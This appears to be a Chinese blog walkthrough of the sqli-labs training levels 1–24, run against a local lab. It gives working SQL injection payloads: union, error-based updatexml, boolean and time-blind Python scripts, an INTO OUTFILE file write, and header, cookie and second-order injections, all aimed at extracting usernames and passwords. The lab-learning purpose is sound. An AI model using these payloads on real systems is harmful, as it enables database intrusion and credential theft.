SQL注入(闯关游戏)

目录

关卡1

关卡2

关卡3

关卡4

关卡5

关卡6

关卡7

关卡8

关卡9

关卡10

关卡11

关卡12

关卡13

关卡14

关卡15

关卡16

关卡17

关卡18

关卡19

关卡20

关卡21

关卡22

关卡23

关卡24


关卡1

(联合查询)

?gid=1

第一件事情就是逃脱单引号的控制------》为了闭合单引号

?gid=1'会报错,但是逃脱了单引号的控制

?gid=1%27

但是单双引号需要成对出现

?gid=1%27 union select 1,2,3需要联合查询下一步,但是依然没解决单双引号的问题

2个办法,就是把多出来的单引号闭合了,或者让它不生效-- , # , /****/ */

?gid=1%27# 然后发现这个#在url上面并没有生效

在url地址传参的时候,它不会编码我们的数组#和某些符号

编码规范是先取ascell 然后再取16进制

是%23

逃逸出来了后,下面就是要知道联合查询需要多少列,求当前表的列数

注意:mysql可以用数字来替换列名

就需要用order by来检测列数

检测到了列数就用联合查询

结果发现就没有任何变化。

它只取走了第一行,虽然后面的数据也取了但是没有展示在页面上。

办法就是让第一行不能取,只需要给它一个无效的id就可以将来二三列展现出来

我们就发现这个方法很好,所以更好的方法出来了

把这个2,3列换成mysql自带的函数

这种拿到了当前的用户和数据库名

现在库名知道了

首先你得知道管理员的表名

然后还需要知道管理员的列名

最终目的就是 注入管理员账号密码

然后我们发现mysql本身都是自带了三个库

在information_schema库里面有一张TABLES表和COLUMNS表一张表名一张列名。

SCHEMATA表里面有一个SCHEMA_NAME属性,然后发现里面的参数全是库名,明显哈没什么意义,因为我们刚刚用database()函数查到了。

TABLES表表里面有一个TABLES_SCHEMA属性,可以看见里面是所有的数据库名。还有一个TABLES_NAME属性里面就是数据库下面的所有表。

在COLUMNS表里面还有一个COLUMN_NAME属性,这个里面是有列名。

然后用mysql自带的三个数据库拿到数据库的表名、列名,又通过database()函数拿到了数据库名。又通过?id=-1' union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='security' limit 3,1 --+这个拿到了security库的表名,

然后又通过?id=-1' union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='security' and table_name='users' limit 1,1 --+拿到了security属性值,

然后通过?id=-1' union select 1,username,password from security.users --+拿到账号密码。

关卡2

sql 复制代码
?id=1--+

其他步骤跟关卡1相同无非就是没有了',这是整数型注入

关卡3

sql 复制代码
?id=1')--+

就闭合方式不同

闭合方式不同,其他步骤跟关卡1相同

关卡4

sql 复制代码
?id=1")--+

闭合方式不同其余步骤跟关卡1相同

关卡5

(报错注入)

单引号闭合

找注入点,在前端是显示不出来的,去尝试爆破注入

?id=1' and updatexml(1,concat(0x7e,user(),0x7e),1)--+

注意:你复制粘贴的话很可能那个'无法转换成%27,那么可能会影响结果

因为xml文件路径里面不允许用~,所以会产生报错

0x7e就是16进制的~

然后改中间的concat()里面的值,无非就是将里面的user()改了()括号里面写sql语句

sql 复制代码
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)--+

中间一看就没有注入完全,只注入了两个

所以需要解决长度问题

sql 复制代码
?id=1'%20and%20updatexml(1,concat(0x7e,substr((select%20group_concat(username,0x3a,password)from%20users),1,32),0x7e),1)--+

关卡6

也是一样的跟关卡5但是是双引号闭合的

所以把?id=1'改为?id=1"其他步骤和配置一样

sql 复制代码
?id=1" and updatexml(1,concat(0x7e,user(),0x7e),1)--+

注意:你复制粘贴的话很可能那个'无法转换成%27,那么可能会影响结果

sql 复制代码
?id=1"%20and%20updatexml(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),0x7e),1)--+

明显没截全,用关卡5用到的substr()函数去截全。

sql 复制代码
?id=1"%20and%20updatexml(1,concat(0x7e,substr((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,32),0x7e),1)--+

关卡7

Mysql如何导出或者上传Outfile

这个漏洞的利用非常苛刻

条件:

  1. mysql的用户权限必须为root
  2. 知道网站的物理路径
  3. 在variables里的secure_file_priv参数必须是什么都没有的情况
sql 复制代码
?id=1')) union select 1,2,"<?php phpinfo():" into outfile "D:/phpstudy_pro/www/sqllabs/web.php";--+

这两个其实是一样的

sql 复制代码
?id=1%27))%20union%20select%201,2,"<?php%20phpinfo():"%20into%20outfile%20"D:/phpstudy_pro/www/sqllabs/web.php";--+

下面这一小关我就开始用小皮了,因为虚拟机里我并没有那个路径的文件

这个"<?php phpinfo()"这是一个参数字段跟前面的1,2一样的参数

Into outfile也就是导出到哪个目录(路径)下,

后面那个"D:/..........."明显就是跟的目录,等会就一个目录在那个下面去

到时候虽然这个程序报错,但是它是在目录下获取到的,然后打开这个文件,这个并不是虚拟机的哈是用的小皮在Windows搭建的mysql关卡。

注意:要满足三列:1,2,3列哈

关卡8

(亦真亦假)考虑一下

猜,以为数据库是security,s的ascii是115

写个错的:

这个是正确的:

sql 复制代码
?id=1' and ascii(substr(database(),1,1))=115--+

这个也就是先通过database()拿到数据库名,然后再使用substr()截取到数据库的第一个字母然后再通过ascii得到第一个字符的ASCII值然后再使用115去猜。

或者大于小于然后一个一个去判断其位置,得到数

或者这里用到了py,这个就是效率有点低

python 复制代码
import time
import requests

url = 'http://127.0.0.1/sqllabs/Less-8/index.php'

 def inject_database(url):
     name = ''
     for i in range(1, 20):
         for j in range(32, 129):
             payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
             res = {"id": payload}
             r = requests.get(url, params=res)
             if "You are in..........." in r.text:
                 name = name + chr(j)
                 print(name)
                 break
             else:
                 continue

 inject_database(url)

可以将以上代码改进一下,无非就算法中的折半查找:

python 复制代码
import time
import requests

url = 'http://127.0.0.1/sqllabs/Less-8/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)
            res = {"id": payload}
            r = requests.get(url, params=res)
            end_time = time.time()
            if "You are in.........." in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

关卡9

python 复制代码
?id=1' and if (ascii(substr(database(),1,1))>100,sleep(3),0)--+

这段代码也就是将数据库的第一个字母转化成ascii码,如果大于100那么就会让浏览器沉睡转三秒,如果错了那么会直接显示,不会加载。这样也可以体现是否猜对了,其实主打一个暴力感觉,写py脚本会更容易一些这个。

也可以写个py脚本:

python 复制代码
import time
import requests

url = 'http://127.0.0.1/sqllabs/Less-9/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.get(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

关卡10

查看代码我们发现,它跟第9关是一样的,只是存在闭合方式的不同

只需要将'单引号改为"双引号即可,其他步骤相同,无非就是暴力破解

python 复制代码
?id=1" and if (ascii(substr(database(),1,1))>100,sleep(3),0)--+

关卡11

这一关明显的是post注入

Get是在url进行传参,而这个就是在账号密码那去传递参数

然后就是找到注入点。

明显这里就看出了与get传参的不同,这里的传参的参数只用了两个,因为之前用的*去查的,现在只是用的是username和password去查的。

其次#可以直接用了,因为之前是url地址栏传参我们需要url地址栏编码的。Post传参不涉及到编码的。

然后下面那个密码框的内容可以随便写,因为账号框我写了一个#被闭合了后面的东西,所以后面的内容就不会有影响。

我之前的用admin' unsion select 1,user()#依然是什么那副图的结果

后面我用了一个不存在的用户名aaaa,去查发现只要前面,用户查不到就可以自己username查后面的内容然后展示出来。(无非就是利用了sql语句前面查不到后面才可以展示出来)

所以找到了注入点

在账户上输入以下的命名:

python 复制代码
aaaa' union select 1,group_concat(table_name)from information_schema.tables where table_schema='security' #

关卡12

跟关卡11是一样的无非也就是闭合问题

python 复制代码
aaaa") union select 1,group_concat(table_name)from information_schema.tables where table_schema='security' #

关卡13

这一关跟上面两关的不一样了,第一闭合方式

第二使用联合查询的话就无法展示出来了,因为这个源码被注释掉了

也就是这个效果:

python 复制代码
aaa') union select 1,group_concat(table_name)from information_schema.tables where table_schema='security' #

所以我们使用报错注入:

python 复制代码
aaa') and updatexml(1,concat(0x7e,user(),0x7e),1)#
python 复制代码
aaa') and updatexml(1,concat(0x7e,database(),0x7e),1)#
python 复制代码
aaa') and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
python 复制代码
aaa') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#

关卡14

python 复制代码
a"
python 复制代码
a" and updatexml(1,concat(0x7e,database(),0x7e),3)#
python 复制代码
a" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#
python 复制代码
a" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#

关卡15

我们发现无论怎么输入都没有报错什么的

python 复制代码
a' union select 1,2#

所以这个我们就得使用猜的想法(亦真亦假)

python 复制代码
a'  union select 1,2 and if (ascii(substr(database(),1,1))=115,sleep(3),0)#

然后可以写一个py脚本

关卡16

其实和关卡15是一样的只是修改了闭合方式

python 复制代码
a") union select 1,2#

所以这个我们就得使用猜的想法(亦真亦假)

python 复制代码
a")  union select 1,2 and if (ascii(substr(database(),1,1))=115,sleep(3),0)#

关卡17

17关无非就是多了一个过滤函数

意味着不要再去想uname里面就别再有一些操作了,只能去password里面去操作

Usename必须写对,否则进不去passwd里面去

python 复制代码
1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
python 复制代码
1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

关卡18

User-agent注入

Username、password都被过滤了。

我们发现注入点就在uagent这里因为HTTP_USER_AGENT是可控的,是可以更改的,但是要保证自己的账号密码正确才可以走到那里面去,才可以注入。模拟的是自己注册了一个账号密码,然后进行注入

好了之后我就用了小皮,改到Windows上面来了

使用工具:BurpSuite.vbs

先抓包

记住哈,这里要写正确的

然后点击Forward

发现ip并没有改掉,但是user-agent还没修改

所以我打算在去修改一下user-agent

修改了,然后我们观察sql语句发现闭合就要使用',所以现在直接去爆破注入了啥

闭合的方式我们发现需要保留数据的传递所以

在user-agent哪一段:

python 复制代码
a' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1' =1

当然了也可以不闭合,就需要将IP和uname进行构造,不然就会少两个

可以怎么写

python 复制代码
a' and updatexml(1,concat(0x7e,user(),0x7e),1), '1.1.1.1','admin')#

关卡19

无非就是改了传递的参数

明显把18关的user-agent改为了HTTP_REFERER参数了

也就是修改下面这个参数

其余步骤与18关一样

修改了,然后我们观察sql语句发现闭合就要使用',所以现在直接去爆破注入了啥

闭合的方式我们发现需要保留数据的传递所以

在Referer哪一段:

python 复制代码
a' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1' =1

关卡20

首先它会判断一下你有没有cookie,然后cookie里面有没有uname这个值,有的话就存储进去,如果没有的话就会走登入这个操作

如果cookie没有uname的话它就会继续往下走,它会问你是否有uname和passwd的这两个参数的提交,相当于一个表单的提交

然后它就会去判断查询的值

然后将刚才的uname设置成为cookie的键

然后进行一次header的跳转index.php

然后又会去判断你有没有cookie这个值,因为创建了嘛你这会就有cookie了

然后就走到了

第二次跳转的时候并没有提交,所以没有就进入这个函数

然后将来cookie拿出来

然后就开始把参数拿出来展示

然后它将cookie放入查询语句中

如果查询结果有问题的话就会报错,如果没问题的话就开始查询,如果查询到就会

否则就没有

最后无非就是多了个

其实问题就是在于:

这里并没有过滤

这个是从cookie里面取的,然后cookie里面的uname是设置的,然后只需要改uname的进行改变就可以了

继续使用工具BurpSuite.vbs

无非也就是先抓包然后再修改cookie

admin'

python 复制代码
admin' and updatexml(1,concat(0x7e,user(),0x7e),1)#

关卡21

其实和20关一样,只是用了一个base64的编码,然后后面要解码,也就是多了个这个过程。

继续使用工具BurpSuite.vbs

先抓包

然后再修改cookie,先写上去什么在用base64进行编码放进去

关卡22

也就是闭合方式的不同跟21关一模一样除了闭合

其余步骤与关卡22一样

关卡23

无非就是不让我们用注释符了

sql 复制代码
?id=1%27and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),1)or%20%271%27=%271--%20+
sql 复制代码
?id=1'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1)or '1'='1-- +  判断表名
sql 复制代码
?id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1)or '1'='1-- +  判断列名
sql 复制代码
?id=1'and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)or '1'='1-- +  判断数据

关卡24

Sql的二次注入

进行注册

账号:admin1'#

密码:123456

然后登入

账号:admin1'#

密码:123456

相关推荐
Petrichor-瑾34 分钟前
HTTP和HTTPS的区别
网络·http·https
ever_up97336 分钟前
EasyExcel的导入与导出及在实际项目生产场景的一下应用例子
java·开发语言·数据库
鹿子铭2 小时前
单线程Redis:Redis为什么这么快
数据库·redis
丢爸2 小时前
网络学习-eNSP配置NAT
linux·网络·学习
沐风ya2 小时前
NAT技术介绍+缺陷(内网穿透+工具),NAPT(介绍,替换过程,原理,NAT转换表)
linux·服务器·网络
JSON_L3 小时前
MySQL 事务处理
数据库·mysql
天启代理ip3 小时前
HTTP隧道代理:互联网冲浪的隐形翅膀
服务器·网络·爬虫·网络协议·tcp/ip
6230_3 小时前
关于HTTP通讯流程知识点补充—常见状态码及常见请求方式
前端·javascript·网络·网络协议·学习·http·html
爱打lan球的程序员4 小时前
redis分布式锁和lua脚本
数据库·redis·分布式
说书客啊4 小时前
计算机毕业设计 | springboot旅行旅游网站管理系统(附源码)
java·数据库·spring boot·后端·毕业设计·课程设计·旅游